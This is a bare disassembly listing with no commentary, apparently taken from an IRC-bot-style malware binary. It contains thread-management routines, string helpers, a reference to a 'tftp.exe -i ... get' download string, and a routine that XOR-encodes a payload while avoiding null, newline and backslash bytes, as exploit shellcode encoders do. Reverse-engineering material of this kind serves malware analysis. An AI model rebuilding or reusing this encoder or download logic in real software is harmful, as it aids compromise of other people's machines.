		push	ebx
		mov	dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_4394C5
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1

loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------

loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx

loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74

loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]

loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C

loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h

loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB

loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------

loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_489FE8
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB

loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6

loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx

loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF

loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_489FE8, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_439424
		push	[ebp+arg_0]
		mov	byte_439431, cl
		mov	byte_439435, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------

loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_43940C
		push	[ebp+arg_0]
		mov	word_43941A, cx
		mov	byte_43941F, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h

loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46

loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_444EC0

loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_489C50
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------

loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_444EC0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4450C0[esi], eax
		and	dword_4450C4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4450C8[esi], 0
		mov	dword_4450CC[esi], eax
		and	byte_4450D8[esi], 0
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0E9E89000h,	5F021B91h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 95006810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0C0BEFF33h,	8000444Eh
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 437E80h, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	489C50FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 1F4h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_4450D4[esi]
		lea	edi, dword_4450D4[esi]
		call	near ptr 279088Dh
		nop
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp

loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4450C8[esi]
		mov	dword_4450C0[esi], ebx
		mov	dword_4450C4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx

loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4450CC[esi]
		mov	byte ptr dword_444EC0[esi], bl
		mov	byte_4450D8[esi], bl
		push	dword ptr [edi]
		call	dword_43F700
		lea	esi, dword_4450D0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43F700
		mov	[esi], ebx
		pop	edi

loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_444EC0

loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx

loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_489C50
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4450C4

loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D

loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]

loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_489E54
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4450C0

loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax

loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_489E50
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4450C0

loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_489E50
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx

loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------

loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_4450D4[eax], ecx
		mov	dword_4450C0[eax], ecx
		mov	dword_4450C4[eax], ecx
		mov	dword_4450C8[eax], ecx
		mov	dword_4450CC[eax], ecx
		mov	dword_4450D0[eax], ecx
		mov	byte ptr dword_444EC0[eax], cl
		mov	byte_4450D8[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------

loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------

loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------

loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax

loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi

loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8

loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------

loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi

loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------

loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217

loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax

loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------

loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------

loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295

loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------

loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------

loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259

loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1

loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]

loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------

loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_439550, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_439550
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_439550, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx

loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353

loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D

loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377

loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528

loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------

loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
